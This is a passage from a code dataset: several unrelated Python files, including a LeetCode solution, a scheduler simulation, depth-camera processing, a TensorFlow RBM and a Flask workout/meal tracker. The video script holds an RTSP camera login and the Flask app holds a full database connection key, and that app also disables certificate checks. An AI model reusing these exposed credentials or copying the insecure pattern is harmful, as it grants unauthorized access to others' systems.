4. We need to use radius 1 standard, then all the houses can be warmed.\n\n由于headers和houses可能是乱序，所以要先排序。然后给heaters两端各加一个假的heater，这样所有house都会在heater之中。对每一个house，检查它与两端\nheaters的距离，较小的那个辐射半径就足够了，然后找出这些辐射半径里的最大值，保证所有房子都可以辐射的到。\n\n\"\"\"\n\ndef findRadius(self, houses, heaters):\n \"\"\"\n :type houses: List[int]\n :type heaters: List[int]\n :rtype: int\n \"\"\"\n houses.sort()\n heaters.sort()\n ans, i = 0, 0\n new_heaters = [float('-inf')] + heaters + [float('inf')]\n for house in houses:\n while house > new_heaters[i + 1]:\n i += 1\n min_dis = min(house-new_heaters[i], new_heaters[i+1]-house)\n ans = max(ans, min_dis)\n return ans\n","sub_path":"leetcode-475. Heaters.py","file_name":"leetcode-475. Heaters.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"583993321","text":"from random import randint\nfrom core.Planificador import Planificador\nfrom math import ceil\nclass RoundRobin4(Planificador):\n def __init__(self,log,quantum,procesos):\n Planificador.__init__(self,log,quantum*4,procesos)\n \n def iniciar_planificador(self):\n self.mostrar_procesos()\n self.planificar()\n \n def planificar(self):\n texto = \"\"\n total = 0\n procesos_listos = []\n for proceso in self.procesos:\n proceso = {\"nombre\":proceso.nombre,\"t\":ceil(proceso.t/self.quantum),\"quantum\":ceil(proceso.t/self.quantum),\"llegada\":proceso.llegada,\"inicio\":-1,\"fin\":0}\n procesos_listos.append(proceso)\n procesos_terminados = []\n texto = \"\"\n while(len(procesos_listos) > 0):\n procesos_temp = []\n avant = False\n for proceso in procesos_listos:\n if(proceso[\"quantum\"] > 0):\n if(proceso[\"llegada\"] > total and total == 0):\n proceso[\"inicio\"] = proceso[\"llegada\"]\n total = proceso[\"inicio\"]\n texto = texto + proceso[\"nombre\"]\n proceso[\"quantum\"] = (proceso[\"quantum\"] - 1)\n total = total + 1\n avant = True\n elif(proceso[\"llegada\"] == total and proceso[\"inicio\"]== -1):\n proceso[\"inicio\"] = total\n texto = texto + proceso[\"nombre\"]\n proceso[\"quantum\"] = proceso[\"quantum\"] - 1\n total = total + 1\n avant = True\n elif(proceso[\"llegada\"] < total):\n if(proceso[\"inicio\"] < 0):\n proceso[\"inicio\"] = total\n texto = texto + proceso[\"nombre\"]\n proceso[\"quantum\"] = proceso[\"quantum\"] -1\n total = total + 1\n avant = True\n procesos_temp.append(proceso)\n else:\n proceso[\"fin\"] = total\n procesos_terminados.append(proceso)\n if(avant == False):\n texto = texto + \"[ ]\"\n total = total + 1\n procesos_listos = procesos_temp\n for proceso in procesos_terminados:\n T = proceso[\"fin\"] - proceso[\"llegada\"]\n self.T_list.append(T)\n P = T/proceso[\"t\"]\n self.P_list.append(P)\n R = proceso[\"t\"]/T\n self.R_list.append(R)\n E = T - proceso[\"t\"]\n self.E_list.append(E)\n \n promedios = self.get_promedios()\n print(\"RR4: T={0}, E={1}, P={2}\".format(promedios['T'],promedios['E'],promedios['P']))\n print(texto)\n","sub_path":"tareas/3/RomeroVicente/core/RoundRobin4.py","file_name":"RoundRobin4.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"102676236","text":"# coding: utf-8\n\nimport os\nimport cv2 as cv\nimport numpy as np\nimport json\nimport time\n\nclass R200Frame:\n \n def __init__(self, bgr_frame, depth_frame, depth_scale):\n self.rgb = cv.cvtColor(bgr_frame, cv.COLOR_BGR2RGB)\n self.depth = depth_frame\n self.depth_scale = depth_scale\n \n def depth_middle_crosshair(self, crosshair_size):\n \n height_ratio = self.rgb.shape[0]/self.depth.shape[0]\n width_ratio = self.rgb.shape[1]/self.depth.shape[1]\n \n depth_start_height = int((self.depth.shape[0]-crosshair_size)/2 - 1)\n depth_end_height = int((self.depth.shape[0]-crosshair_size)/2 - 1 + crosshair_size)\n depth_start_width = int((self.depth.shape[1]-crosshair_size)/2 - 1)\n depth_end_width = int((self.depth.shape[1]-crosshair_size)/2 - 1 + crosshair_size)\n \n rgb_start_height = int((depth_start_height + 1) * height_ratio - 1)\n rgb_end_height = int((depth_end_height + 1) * height_ratio - 1)\n rgb_start_width = int((depth_start_width + 1) * width_ratio - 1)\n rgb_end_width = int((depth_end_width + 1) * width_ratio - 1)\n \n # Sanity check\n if not (\n (rgb_start_height + crosshair_size*height_ratio == rgb_end_height) \n and (rgb_start_width + crosshair_size*width_ratio == rgb_end_width)):\n print(\"Crosshair making failed\")\n if not crosshair_size % 2 == 0:\n print(\"Crosshair size has to be an even number\")\n \n # Making a crossair on the color image\n display = self.rgb\n crosshair = np.zeros(display.shape, dtype=display.dtype)\n crosshair[rgb_start_height:rgb_end_height, rgb_start_width:rgb_end_width] = [255, 0 , 0]\n display = cv.add(display, crosshair)\n \n # Calculating depth on depth image\n center_values = self.depth[depth_start_height:depth_end_height,depth_start_width:depth_end_width].flatten()\n center_values = [value for value in center_values if value != 0 ]\n # If no values make mean = 0\n center_mean_value = np.mean(center_values) if len(center_values) != 0 else 0\n depth = center_mean_value * self.depth_scale\n \n return (depth, display)\n \n def depth_to_uint8(self):\n \n depth = self.depth\n depth = (depth/256).astype('uint8')\n \n return depth\n \n def depth_to_float32(self):\n \n depth = self.depth\n depth = depth.astype('float32')\n \n return depth\n \n def depth_to_rgb(self):\n \n depth = self.depth_to_uint8()\n depth = cv.cvtColor(depth, cv.COLOR_GRAY2RGB)\n \n return depth\n \n def clip_depth_max(self, max_distance):\n \n distance_upper_limit = max_distance / self.depth_scale / 256\n\n # All values out of range set to black\n clip_max = np.copy(self.depth_to_uint8())\n clip_max[clip_max > distance_upper_limit] = 0\n \n return clip_max\n \n def find_contours(self):\n \n # Variables\n max_distance = 10\n gaussian_filter_size = 7\n length_threshold = 150\n \n # Finding edges in depth image\n clipped = self.clip_depth_max(max_distance)\n gaussian = cv.GaussianBlur(clipped, (gaussian_filter_size, gaussian_filter_size), 0)\n canned = cv.Canny(gaussian, 10, 25, L2gradient=True)\n \n img, c, h = cv.findContours(canned, cv.RETR_TREE, cv.CHAIN_APPROX_NONE)\n contours = np.zeros((canned.shape), np.uint8)\n\n for cnt in c:\n if cv.arcLength(cnt, True) > length_threshold:\n cv.drawContours(contours, cnt, -1, 255, 1)\n \n return contours\n \n def find_bounding_box(self):\n \n contours = self.find_contours()\n \n # HoughLine transform no 1\n delta_theta = 15 #degrees\n min_line_length = 10 \n max_line_gap = 20\n hough_threshold = 20\n\n # Finding roughly vertical lines\n dilated = cv.dilate(contours, np.ones((2,2), np.uint8))\n linesP = cv.HoughLinesP(dilated,\n 1, \n np.pi/180, \n hough_threshold, \n None, \n min_line_length, \n max_line_gap)\n \n hough = np.zeros((contours.shape), np.uint8)\n \n if linesP is not None:\n for i in range(0, len(linesP)):\n \n l = linesP[i][0]\n atan = np.arctan2(l[1] - l[3], l[0] - l[2]) * 180 / np.pi\n\n if (((atan > 90 - delta_theta) \n & (atan < 90 + delta_theta)) \n | ((atan > -90 - delta_theta) \n & (atan < -90 + delta_theta))):\n cv.line(hough, (l[0], l[1]), (l[2], l[3]), 255, 2, cv.LINE_AA)\n \n bounding_box = self.depth_to_rgb()\n \n # HoughLine transform no 2\n min_line_length = 75\n max_line_gap = 5\n hough_threshold = 10\n \n edge_lines = cv.dilate(hough, np.ones((2,2), np.uint8))\n linesF = cv.HoughLinesP(edge_lines,\n 1, \n np.pi/180, \n hough_threshold, \n None, \n min_line_length, \n max_line_gap)\n \n edges = np.zeros((contours.shape), np.uint8)\n\n if linesF is not None:\n for i in range(0, len(linesF)):\n l = linesF[i][0]\n cv.line(edges, (l[0], l[1]), (l[2], l[3]), 255, 2, cv.LINE_AA)\n cv.line(bounding_box, (l[0], l[1]), (l[2], l[3]), (0,0,255), 2)\n \n i = 0\n \n for column in edges.T:\n if sum(column) > 255 * 5:\n break\n i += 1\n i += 1\n min_x = i\n \n cv.line(bounding_box, (i, 0), (i, contours.shape[1]-1), (255,0,0), 2)\n \n i = contours.shape[1]-1\n \n for column in reversed(edges.T):\n if sum(column) > 255 * 5:\n break\n i -= 1\n i -= 1\n max_x = i\n \n cv.line(bounding_box, (i, 0), (i, contours.shape[1]-1), (255,0,0), 2)\n \n return bounding_box\n\n def values_between(self, bottom_distance_limit, top_distance_limit):\n \n # Threshold for bottom and top limit\n mask = cv.inRange(self.depth, bottom_distance_limit//self.depth_scale, \\\n top_distance_limit//self.depth_scale) \n nb_values = np.count_nonzero(mask)\n return (nb_values, mask)\n \n def show_depth_values(self, bottom_distance_limit, top_distance_limit):\n \n depth_color = self.depth_to_rgb()\n \n (nb_values, mask) = self.values_between(bottom_distance_limit, top_distance_limit)\n mask = cv.cvtColor(mask, cv.COLOR_GRAY2RGB)\n \n redmask = self.depth_to_rgb()\n redmask[:,:] = [255, 0 , 0]\n redmask = cv.bitwise_and(mask, redmask)\n \n depth_colored = cv.add(depth_color, redmask)\n \n return (nb_values, depth_colored)\n \n def depth_histogram(self, start, stop, nb_of_bins):\n \n histogram = []\n labels = np.linspace(start, stop, nb_of_bins, endpoint=True)\n diff = (stop-start)/(nb_of_bins-1)\n \n for bound in np.linspace(start, stop, nb_of_bins, endpoint=True):\n (nb_values, mask) = self.values_between(bound, bound + diff)\n histogram.append(nb_values)\n \n return (labels, histogram)\n \n def depth_min(self):\n \n simple_threshold = 150\n depth_min_value = 0\n \n min_distance = 0.5\n max_distance = 10.5\n diff = 2.5\n nb_of_bins = (max_distance - min_distance)/diff + 1.0\n \n # Calculate values for each bins\n for bound in np.linspace(min_distance, max_distance, nb_of_bins, endpoint=True):\n (nb_values, mask) = self.values_between(bound, bound + diff)\n depth_min_value = bound\n\n # Logic to determine distance\n if nb_values > simple_threshold:\n break\n\n min_distance = bound \n max_distance = bound + diff\n diff = 0.5\n nb_of_bins = (max_distance - min_distance)/diff + 1.0\n for bound in np.linspace(min_distance, max_distance, nb_of_bins, endpoint=True):\n (nb_values, mask) = self.values_between(bound, bound + diff)\n depth_min_value = bound\n\n # Logic to determine distance\n if nb_values > simple_threshold:\n break\n \n min_distance = bound \n max_distance = bound + diff\n diff = 0.1\n nb_of_bins = (max_distance - min_distance)/diff + 1.0\n for bound in np.linspace(min_distance, max_distance, nb_of_bins, endpoint=True):\n (nb_values, mask) = self.values_between(bound, bound + diff)\n depth_min_value = bound\n\n # Logic to determine distance\n if nb_values > simple_threshold:\n break\n\n return depth_min_value\n\n def depth_min_score(self):\n \n # Uses ROI to score if closest objects are relevant\n score = 3\n return score\n\n def detect_drone(self):\n gray = cv.cvtColor(self.rgb,cv.COLOR_BGR2GRAY)\n _,thresh = cv.threshold(gray,50,255,cv.THRESH_BINARY_INV)\n _,cnt,_ = cv.findContours(thresh,cv.RETR_EXTERNAL,cv.CHAIN_APPROX_SIMPLE)\n if(len(cnt)!=0):\n c = max(cnt, key = cv.contourArea)\n return c\n else:\n return None\n\n def getDepthMeanValue(self,center,size):\n depth_start_height = center[1]-size*2\n depth_end_height = center[1]+size*2\n depth_start_width = center[0]-size\n depth_end_width = center[0]+size\n center_values = self.depth[depth_start_height:depth_end_height,depth_start_width:depth_end_width].flatten()\n center_values = [value for value in center_values if value != 0 ]\n center_mean_value = np.mean(center_values) if len(center_values) != 0 else 0\n depth = center_mean_value * self.depth_scale\n return depth\n \n \n def __str__(self):\n return ''.format(hex(id(self)))\n \n def __repr__(self):\n return ''.format(hex(id(self)))\n\nclass R200Video:\n \n __settings_name__ = 'Settings.json' # Will change to Settings.json\n __image_rgb_prefix__ = 'ImageRGB_'\n __image_rgb_suffix__ = '.jpg'\n __image_depth_prefix__ = 'ImageDepth_'\n __image_depth_suffix__ = '.tiff'\n \n def __init__(self, folder_path):\n self.path = folder_path\n self.error = False\n self.film_length = 0\n self.depth_scale = 0\n self.fps = 30\n self.camera = ''\n self.rgb_shape = 0\n self.depth_shape = 0\n self.frames = []\n \n # If folder_path doesn't finish with / add it\n if not folder_path.endswith('/'):\n self.path = folder_path + '/'\n \n # Check if the folder exists\n path_exist = os.path.isdir(self.path)\n if not path_exist:\n self.error = True\n \n # Check if settings file exists\n settings_exist = os.path.isfile(self.path + self.__settings_name__)\n if not settings_exist:\n self.error = True\n \n if self.error:\n print('No settings file found for video')\n return None\n \n self.parse_settings_file()\n \n # Get number of images\n file_list = os.listdir(self.path)\n self.film_length = len([file for file in file_list if '.tiff' in file])\n \n # Get all images\n for index in range(self.film_length):\n image_rgb_path = (self.path \n + self.__image_rgb_prefix__ \n + '{0:05}'.format(index) \n + self.__image_rgb_suffix__)\n image_depth_path = (self.path \n + self.__image_depth_prefix__ \n + '{0:05}'.format(index) \n + self.__image_depth_suffix__)\n \n frame = R200Frame(cv.imread(image_rgb_path),\n cv.imread(image_depth_path, cv.IMREAD_ANYDEPTH),\n self.depth_scale)\n self.frames.append(frame)\n \n # Get video shape\n self.rgb_shape = self.frames[0].rgb.shape\n self.depth_shape = self.frames[0].depth.shape\n \n if self.error:\n print('Error occured while loading video')\n \n \n def parse_settings_file(self):\n \n with open(self.path + self.__settings_name__, \"r\") as file:\n try:\n settings = json.load(file)\n \n if 'camera' in settings:\n self.camera = settings['camera']\n else:\n print('Camera type not found in settings')\n self.error = True\n \n if 'scale' in settings:\n try:\n self.depth_scale = float(settings['scale'])\n except:\n print('Scale could not be converted to float')\n self.error = True\n else:\n print('Depth scale not found in settings')\n self.error = True\n \n if 'fps' in settings:\n try:\n self.fps = int(settings['fps'])\n except:\n print('Fps could not be converted to int')\n self.error = True\n else:\n print('Fps not found in settings')\n self.error = True\n \n except json.JSONDecodeError:\n print('Settings file is not in correct JSON format')\n self.error = True\n \n \n def show_rgb(self):\n \n while True:\n\n for frame in self:\n\n cv.imshow(\"RGB Video\", cv.cvtColor(frame.rgb, cv.COLOR_RGB2BGR))\n \n # Exit if ESC pressed\n k = cv.waitKey(1) & 0xff\n if k == 27 : break\n \n time.sleep(1/self.fps)\n \n cv.destroyAllWindows()\n break\n \n return None\n \n def __getitem__(self, index):\n return self.frames[index]\n \n def __iter__(self):\n self.n = 0\n return self\n \n def __next__(self):\n if self.n <= self.film_length - 1:\n result = self.frames[self.n]\n self.n += 1\n return result\n else:\n raise StopIteration\n\n def next(self):\n if self.n <= self.film_length - 1:\n result = self.frames[self.n]\n self.n += 1\n return result\n else:\n raise StopIteration\n \n def __len__(self):\n return self.film_length\n \n def save(self, folder_path):\n # IMPLEMENT A WAY TO WRITE VIDEO ON DISK\n return True\n\n def __str__(self):\n return ''.format(hex(id(self)))\n \n def __repr__(self):\n return ''.format(hex(id(self)))\n","sub_path":"r200.py","file_name":"r200.py","file_ext":"py","file_size_in_byte":15974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"401027928","text":"import cvlib as cv\nimport time\nimport cv2\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--cam'\t\t, default=\"rtsp://admin:admin1234@192.168.15.220:554/Streaming/channels/402\")\nparser.add_argument('--output'\t, default=\"Video.avi\")\nparser.add_argument('--max_time', type=float, default=300)\nargs = parser.parse_args()\n\nstart=time.time()\ncap \t\t\t\t= cv2.VideoCapture(args.cam)\nfourcc = cv2.VideoWriter_fourcc(*'DIVX')\nheight = cap.get(4)\nwidth = cap.get(3)\nout = cv2.VideoWriter(args.output, fourcc, 10.0, (int(width),int(height)))\nframe_count = 0\n\nwhile True:\n\t#print(time.time()-start,args.max_time)\n\tif (time.time()-start)>=args.max_time:\n\t\tprint(time.time()-start,frame_count/(time.time()-start))\n\t\texit()\n\n\tres, img = cap.read()\n\tframe_count += 1\n\tout.write(img)\n\t# cv2.imshow(\"asdf\",img)\n\n\t# if cv2.waitKey(1) & 0xFF == ord('q'):\n\t# \tprint(time.time()-start,frame_count/(time.time()-start))\n\t# \tbreak","sub_path":"pruebas/store_video.py","file_name":"store_video.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"211915169","text":"\"\"\" An rbm implementation for TensorFlow, based closely on the one in Theano \"\"\"\n\nimport tensorflow as tf\nimport math\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport itertools\n\n\ndef sample_prob(probs):\n \"\"\"Takes a tensor of probabilities (as from a sigmoidal activation)\n and samples from all the distributions\"\"\"\n return tf.nn.relu(\n tf.sign(\n probs - tf.random_uniform(probs.get_shape())))\n\n\ndef generate_v(n_v, mu_v, sig_v):\n v = np.random.normal(mu_v, sig_v, n_v)\n return v\n\n\ndef gen_batches(data, batch_size):\n \"\"\"Divide input data into batches.\n :param data: input data\n :param batch_size: size of each batch\n :return: data divided into batches\n \"\"\"\n data = np.array(data)\n\n for i in range(0, data.shape[0], batch_size):\n yield data[i:i + batch_size]\n\n\nclass RBM(object):\n \"\"\" represents a 3-way rbm \"\"\"\n\n def __init__(self, name, v1_size, h_size, v2_size, n_data, batch_size, num_epochs=100, learning_rate=0.1, k=1,\n use_tqdm=True, show_err_plt=True,n_factors=50):\n with tf.name_scope(\"rbm_\" + name):\n self.v1_size = v1_size\n self.v2_size = v2_size\n self.h_size = h_size\n self.fweights_v1 = tf.Variable(\n tf.truncated_normal([v1_size, n_factors],\n stddev=1.0 / math.sqrt(float((v1_size + v2_size) / 2))), name=\"weights\")\n self.fweights_v2 = tf.Variable(\n tf.truncated_normal([v2_size, n_factors],\n stddev=1.0 / math.sqrt(float((v1_size + v2_size) / 2))), name=\"weights\")\n self.fweights_h = tf.Variable(\n tf.truncated_normal([h_size, n_factors],\n stddev=1.0 / math.sqrt(float((v1_size + v2_size) / 2))), name=\"weights\")\n self.h_bias = tf.Variable(tf.zeros([1, h_size]), name=\"h_bias\",dtype=tf.float32)\n self.v1_bias = tf.Variable(tf.zeros([1, v1_size]), name=\"v1_bias\",dtype=tf.float32)\n self.v1_var = tf.constant(np.ones([v1_size]), name=\"v1_var\",dtype=tf.float32)\n self.v2_bias = tf.Variable(tf.zeros([1, v2_size]), name=\"v1_bias\",dtype=tf.float32)\n self.v2_var = tf.constant(np.ones([v2_size]), name=\"v1_var\",dtype=tf.float32)\n\n self.batch_size = batch_size\n self.n_batches = n_data // batch_size # assume it will be an integer\n\n self.num_epochs = num_epochs\n self.learning_rate = learning_rate\n self.k = k\n\n self.use_tqdm = use_tqdm\n self.show_err_plt = show_err_plt\n\n self.v1_input = tf.placeholder('float32', (self.batch_size, self.v1_size))\n self.v2_input = tf.placeholder('float32', (self.batch_size, self.v2_size))\n\n self.compute_err = None # filled in reconstruction error\n self.tf_session = None\n \n self.cost = []\n\n self.final_h = None\n\n def _prop_helper(self, a, b, a_weights, b_weights, t_weights):\n \"\"\"a and b should be matricies of row vectors\"\"\"\n inter = tf.multiply(tf.matmul(a, a_weights),tf.matmul(b, b_weights))\n return tf.matmul(inter,tf.transpose(t_weights))\n\n def prop_v1v2_h(self, v1, v2):\n \"\"\" P(h|v1,v2) \"\"\"\n return tf.nn.sigmoid(self._prop_helper(v1, v2, self.fweights_v1, self.fweights_v2, self.fweights_h) + self.h_bias)\n\n def prop_v1h_v2(self, v1, h):\n \"\"\" P(v2|v1,h) \"\"\"\n return self._prop_helper(v1, h, self.fweights_v1, self.fweights_h, self.fweights_v2) + self.v2_bias\n\n def prop_v2h_v1(self, v2, h):\n \"\"\" P(v1|v2,h) \"\"\"\n return self._prop_helper(v2, h, self.fweights_v2, self.fweights_h, self.fweights_v1) + self.v1_bias\n\n def sample_v1_given_v2h(self, v2, h):\n \"\"\" generate sample of v1 from v2 and h\"\"\"\n dist = tf.contrib.distributions.Normal(tf.cast(self.prop_v2h_v1(v2, h), tf.float32),\n tf.cast(tf.tile(tf.expand_dims(self.v1_var, 0), [v2.get_shape().as_list()[0], 1]),\n tf.float32))\n return tf.reduce_sum(dist.sample(1), 0)\n\n def sample_v2_given_v1h(self, v1, h):\n \"\"\" generate sample of v1 from v2 and h\"\"\"\n dist = tf.contrib.distributions.Normal(tf.cast(self.prop_v1h_v2(v1, h), tf.float32),\n tf.cast(tf.tile(tf.expand_dims(self.v2_var, 0), [v1.get_shape().as_list()[0], 1]),\n tf.float32))\n return tf.reduce_sum(dist.sample(1), 0)\n\n def sample_h_given_v1v2(self, v1, v2):\n \"\"\" Generate a sample from the hidden layer \"\"\"\n return sample_prob(self.prop_v1v2_h(v1, v2))\n\n @staticmethod\n def get_delta_products(t, a, b, a_weights, b_weights):\n \"\"\" inputs are normalized feature vectors (i.e. v1/v1_var)\"\"\"\n inter = tf.multiply(tf.matmul(a,a_weights),tf.matmul(b,b_weights))\n return tf.matmul(tf.transpose(t),inter)\n\n def gibbs(self, v1, h, v2):\n\n # using mean field values\n v1 = self.prop_v2h_v1(v2, h)\n v2 = self.prop_v1h_v2(v1, h)\n h = self.prop_v1v2_h(v1, v2)\n\n # using sampling\n # v1 = self.sample_v1_given_v2h(v2, h)\n # v2 = self.sample_v2_given_v1h(v1, h)\n # h = sample_h_given_v1v2(v1, v2)\n\n return v1, h, v2\n\n def train(self, v1_input, v2_input):\n \"\"\"train RBM\"\"\"\n\n self.pcd_k() # define pcd step\n self.reconstruction_error() # define error metric\n\n self.tf_session = tf.Session()\n init = tf.global_variables_initializer()\n self.tf_session.run(init)\n\n pbar = tqdm(range(self.num_epochs))\n for i in pbar:\n avg_err = self.one_train_step(v1_input, v2_input)\n self.cost.append(avg_err)\n pbar.set_description('squared reconstruction average batch error: {}'.format(avg_err))\n\n # catch divergence\n if np.isnan(self.cost[-1]) == True:\n raise RuntimeError('Training has diverged - lower learning rate!')\n # early stopping\n if i > 20 and np.mean(self.cost[-20:-10]) - np.mean(self.cost[-10:]) < np.mean(self.cost[-20:]) * 0.01:\n break\n\n return self.cost\n\n def one_train_step(self, v1_input, v2_input):\n \"\"\"run one training step\"\"\"\n\n updates = [self.fweights_v1, self.fweights_v2, self.fweights_h, self.v1_bias, self.v2_bias, self.h_bias]\n err_tot = 0\n for i in range(self.n_batches):\n np.random.shuffle(v1_input)\n np.random.shuffle(v2_input)\n v1_input_list = np.split(v1_input, self.n_batches)\n v2_input_list = np.split(v2_input, self.n_batches)\n\n self.tf_session.run(updates, feed_dict={self.v1_input: v1_input_list[i], self.v2_input: v2_input_list[i]})\n err_tot += self.get_cost(v1_input_list[i],v2_input_list[i])\n return err_tot / (self.batch_size * self.n_batches)\n\n def pcd_k(self):\n \"k-step (persistent) contrastive divergence\"\n\n mcmc_v1, mcmc_v2 = (self.v1_input, self.v2_input)\n\n start_h = self.prop_v1v2_h(self.v1_input, self.v2_input)\n mcmc_h = start_h\n\n for n in range(self.k):\n mcmc_v1, mcmc_h, mcmc_v2 = self.gibbs(mcmc_v1, mcmc_h, mcmc_v2)\n\n self.final_h = mcmc_h\n\n # update fweights_v1\n fw_v1_positive_grad = self.get_delta_products(tf.divide(self.v1_input,self.v1_var), start_h, tf.divide(self.v2_input,self.v2_var),self.fweights_h,self.fweights_v2) / self.batch_size\n fw_v1_negative_grad = self.get_delta_products(tf.divide(mcmc_v1,self.v1_var), mcmc_h, tf.divide(mcmc_v2,self.v2_var),self.fweights_h,self.fweights_v2) / self.batch_size\n self.fweights_v1 = self.fweights_v1.assign_add(self.learning_rate * (fw_v1_positive_grad - fw_v1_negative_grad))\n\n # update fweights_v2\n fw_v2_positive_grad = self.get_delta_products(tf.divide(self.v2_input,self.v2_var), start_h, tf.divide(self.v1_input,self.v1_var),self.fweights_h,self.fweights_v1) / self.batch_size\n fw_v2_negative_grad = self.get_delta_products(tf.divide(mcmc_v2,self.v2_var), mcmc_h, tf.divide(mcmc_v1,self.v1_var),self.fweights_h,self.fweights_v1) / self.batch_size\n self.fweights_v2 = self.fweights_v2.assign_add(self.learning_rate * (fw_v2_positive_grad - fw_v2_negative_grad))\n\n # update fweights_h\n fw_h_positive_grad = self.get_delta_products(start_h, tf.divide(self.v2_input,self.v2_var), tf.divide(self.v1_input,self.v1_var),self.fweights_v2,self.fweights_v1) / self.batch_size\n fw_h_negative_grad = self.get_delta_products(mcmc_h, tf.divide(mcmc_v2,self.v2_var), tf.divide(mcmc_v1,self.v1_var),self.fweights_v2,self.fweights_v1) / self.batch_size\n self.fweights_h = self.fweights_h.assign_add(self.learning_rate * (fw_h_positive_grad - fw_h_negative_grad))\n\n self.v1_bias = self.v1_bias.assign_add(self.learning_rate * tf.reduce_mean(self.v1_input - mcmc_v1, 0,\n keep_dims=True))\n self.v2_bias = self.v2_bias.assign_add(self.learning_rate * tf.reduce_mean(self.v2_input - mcmc_v2, 0,\n keep_dims=True))\n\n self.h_bias = self.h_bias.assign_add(self.learning_rate * tf.reduce_mean(start_h - mcmc_h, 0, keep_dims=True))\n\n\n def get_cost(self, v1_input, v2_input):\n\n return self.tf_session.run(self.compute_err, feed_dict={self.v1_input: v1_input,\n self.v2_input: v2_input})\n\n def reconstruction_error(self):\n \"\"\" The one-step reconstruction cost for both visible layers \"\"\"\n h = self.prop_v1v2_h(self.v1_input, self.v2_input)\n\n v1_err = tf.cast(self.v1_input, tf.float32) - self.sample_v1_given_v2h(self.v2_input, h)\n v1_err = tf.reduce_sum(v1_err * v1_err, [0, 1])\n\n v2_err = tf.cast(self.v2_input, tf.float32) - self.sample_v2_given_v1h(self.v1_input, h)\n v2_err = tf.reduce_sum(v2_err * v2_err, [0, 1])\n\n self.compute_err = v1_err + v2_err\n\n def v2_predict(self,v1_input):\n\n # mean field\n #v2_predictions = self.prop_v1h_v2(v1_inputs, self.h)\n # sample\n v1_input_list = np.split(v1_input, self.n_batches)\n v2_predictions = []\n for i in range(self.n_batches):\n v2_prediction = self.sample_v2_given_v1h(self.v1_input, self.final_h)\n v2_predictions.append(self.tf_session.run(v2_prediction,feed_dict={self.v1_input: v1_input_list[i], self.v2_input: np.zeros([self.batch_size,self.v2_size])}))\n return np.stack(v2_predictions).reshape(-1,self.v2_size)\n\n\ndef main():\n\n n_v1 = 30\n n_v2 = 30\n n_h = 60\n n_samples = 5000\n\n v1s = []\n v2s = []\n\n for n in range(n_samples):\n v1 = generate_v(n_v1, np.arange(n_v1), np.ones(n_v1))\n v1 = v1.astype(np.float32)\n v1s.append(v1)\n\n v2 = generate_v(n_v2, np.arange(n_v2), np.ones(n_v2))\n v2 = v2.astype(np.float32)\n v2s.append(v2)\n\n v1s = np.stack(v1s)\n v2s = np.stack(v1s)\n\n print(v1s.shape[0])\n\n rbm = RBM(name='rbm', v1_size=n_v1, h_size=n_h, v2_size=n_v2\n , n_data = v1s.shape[0], batch_size=100, learning_rate=0.0000001,\n num_epochs=500, n_factors=10)\n errs = rbm.train(v1s, v2s)\n print('getting predictions')\n print('v2s:', v2s[:3])\n v2_predictions = rbm.v2_predict(v1s)\n print('v2 preds:', v2_predictions[:3])\n\n print('preds diff:',(v2_predictions - v2s).mean(axis=0))\n\n rbm.tf_session.close()\n\n\n if rbm.show_err_plt:\n plt.plot(range(len(rbm.cost)), rbm.cost)\n plt.show()\n\nif __name__ == '__main__':\n main()","sub_path":"rbm_3way_fac.py","file_name":"rbm_3way_fac.py","file_ext":"py","file_size_in_byte":11901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"555781203","text":"\"\"\"\nRoutes and views for the flask application.\n\"\"\"\nimport os\n\n##Date and time with flask imports\nfrom datetime import datetime\nfrom flask import Flask, flash, render_template, request, session\n\n#import for mongo\nimport pymongo\nfrom pymongo import MongoClient\n##import from __init__.py\nfrom GainTracker import app\n\n#connection details for mongo\nuri = \"mongodb://gtmongo:W2zjixLxOssYoTcF8EnnfsAO82vE7RJjfp6wHYcoaJPdsWuf0bm1FXxmk1tXAs4SyhYfd30IAOHDyyTcRKVjcw==@gtmongo.documents.azure.com:10250/?ssl=true&ssl_cert_reqs=CERT_NONE\"\nclient = pymongo.MongoClient(uri)\n\n#initial index route, presents login screen\n@app.route('/')\ndef index():\n if 'username' in session:\n return render_template('index.html', title='Home Page', year=datetime.now().year,)\n return render_template('login.html')\n\n#homepage\n@app.route('/home')\ndef home():\n if 'username' in session:\n return render_template('index.html', \n title='Home Page', \n year=datetime.now().year)\n return render_template('login.html')\n\n#contact page\n@app.route('/contact')\ndef contact():\n if 'username' in session:\n return render_template('contact.html',\n title='Contact Me', year=datetime.now().year, \n message='If you want to contact me about anything on this website please do get in touch.')\n return render_template('login.html')\n\n\n#about page\n@app.route('/about')\ndef about():\n if 'username' in session:\n return render_template('about.html',\n title='About',\n year=datetime.now().year,\n message='About GainTracker')\n return render_template('login.html')\n\n\n@app.route('/workouts', methods=['POST','GET'])\ndef workouts():\n if 'username' in session:\n\n db = client.gtmongo.workouts\n\n if request.method == 'POST':\n #adds to the db\n db.insert({'Workout' : request.form['Workout'],'description' : request.form['description'], 'match': session['username']})\n #puts the db in a list\n data=list(db.find({'match': session['username']}))\n\n #renders the workouts template again passing the list parameter for the template\n return render_template('workouts.html',title='Workouts',year=datetime.now().year,message='Your Workouts page.', workoutinfo = data)\n\n if request.method == 'GET':\n #when page is loaded refreshes the template for the workouts\n data=list(db.find({'match': session['username']}))\n\n return render_template('workouts.html',title='Workouts',year=datetime.now().year,message='Your Workouts page.', workoutinfo = data)\n \n return render_template('workouts.html', workoutinfo = data)\n return render_template('login.html')\n\n\n\n@app.route('/meals', methods=['POST','GET'])\ndef meals():\n if 'username' in session:\n\n db = client.gtmongo.meals\n\n if request.method == 'POST':\n #adds to the db\n db.insert({'Meal' : request.form['Meal'],'Ingredients' : request.form['Ingredients'],'Instructions' : request.form['Instructions'],'Calories' : request.form['Calories'], 'match': session['username']})\n #puts the db in a list\n data=list(db.find({'match': session['username']}))\n\n #renders the workouts 